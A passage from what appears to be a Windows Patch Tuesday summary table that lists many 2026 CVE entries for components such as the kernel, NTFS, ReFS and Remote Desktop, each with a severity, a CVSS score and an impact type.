WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  